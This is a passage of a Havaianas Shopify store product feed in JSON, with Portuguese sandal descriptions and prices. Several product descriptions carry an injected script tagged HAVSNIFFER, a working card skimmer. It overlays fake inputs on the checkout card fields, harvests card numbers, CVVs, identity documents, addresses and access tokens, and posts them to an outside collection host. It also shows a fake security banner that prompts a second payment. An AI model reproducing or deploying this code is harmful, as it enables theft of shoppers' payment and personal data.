=maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eO mood do chinelo Urban Print vem de duas inspirações: surf lifestyle e praia urbana.\u003cbr\u003e Para você que preza pela versatilidade no dia a dia, a tira mais larga e feita com tecido macio proporciona o match perfeito entre estilo e conforto.\u003cbr\u003e\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Cinza Aço \/ 37\/38","offer_id":46208076579073,"sku":"4148359_6808_378","price":104.99,"currency_code":"BRL","in_stock":true},{"title":"Cinza Aço \/ 39\/40","offer_id":46208076611841,"sku":"4148359_6808_390","price":104.99,"currency_code":"BRL","in_stock":true},{"title":"Cinza Aço \/ 41\/42","offer_id":46208076644609,"sku":"4148359_6808_412","price":104.99,"currency_code":"BRL","in_stock":true},{"title":"Cinza Aço \/ 43\/44","offer_id":46208076677377,"sku":"4148359_6808_434","price":104.99,"currency_code":"BRL","in_stock":true},{"title":"Cinza Aço \/ 45\/46","offer_id":46208076710145,"sku":"4148359_6808_456","price":104.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4148359-6808-urban-print-0.png?v=1744398948"},{"product_id":"chinelo-havaianas-urban-print-4148359_8904","title":"Chinelo Havaianas Urban Print","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eO mood do chinelo Urban Print vem de duas inspirações: surf lifestyle e praia urbana.\u003cbr\u003e Para você que preza pela versatilidade no dia a dia, a tira mais larga e feita com tecido macio proporciona o match perfeito entre estilo e conforto.\u003cbr\u003e\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Branco \/ 37\/38","offer_id":46208076841217,"sku":"4148359_8904_378","price":104.99,"currency_code":"BRL","in_stock":true},{"title":"Branco \/ 39\/40","offer_id":46208076873985,"sku":"4148359_8904_390","price":104.99,"currency_code":"BRL","in_stock":true},{"title":"Branco \/ 41\/42","offer_id":46208076906753,"sku":"4148359_8904_412","price":104.99,"currency_code":"BRL","in_stock":true},{"title":"Branco \/ 43\/44","offer_id":46208076939521,"sku":"4148359_8904_434","price":104.99,"currency_code":"BRL","in_stock":true},{"title":"Branco \/ 45\/46","offer_id":46208076972289,"sku":"4148359_8904_456","price":104.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4148359-8904-urban-print-branco-0.png?v=1744398895"},{"product_id":"chinelo-havaianas-urban-basic-material-4148427_2548","title":"Chinelo Havaianas Urban Basic Material","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eFeito em cores neutras e elegantes para você usar sempre, o chinelo Urban Basic Material tem tiras largas de tecido e nosso querido solado de borracha macia em uma combinação que deixa o modelo mais contemporâneo.\u003cbr\u003e Ideal para looks casuais, com ele você pode combinar diversas peças do seu guarda-roupa.\u003cbr\u003e\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Café \/ 37\/38","offer_id":46208077103361,"sku":"4148427_2548_378","price":89.99,"currency_code":"BRL","in_stock":true},{"title":"Café \/ 39\/40","offer_id":46208077136129,"sku":"4148427_2548_390","price":89.99,"currency_code":"BRL","in_stock":true},{"title":"Café \/ 41\/42","offer_id":46208077168897,"sku":"4148427_2548_412","price":89.99,"currency_code":"BRL","in_stock":true},{"title":"Café \/ 43\/44","offer_id":46208077201665,"sku":"4148427_2548_434","price":89.99,"currency_code":"BRL","in_stock":true},{"title":"Café \/ 45\/46","offer_id":46208077234433,"sku":"4148427_2548_456","price":89.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4148427-2548-urban-basic-material-0.png?v=1744398982"},{"product_id":"chinelo-havaianas-top-max-comfort-4148608_7854","title":"Chinelo Havaianas Top Max Comfort","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } 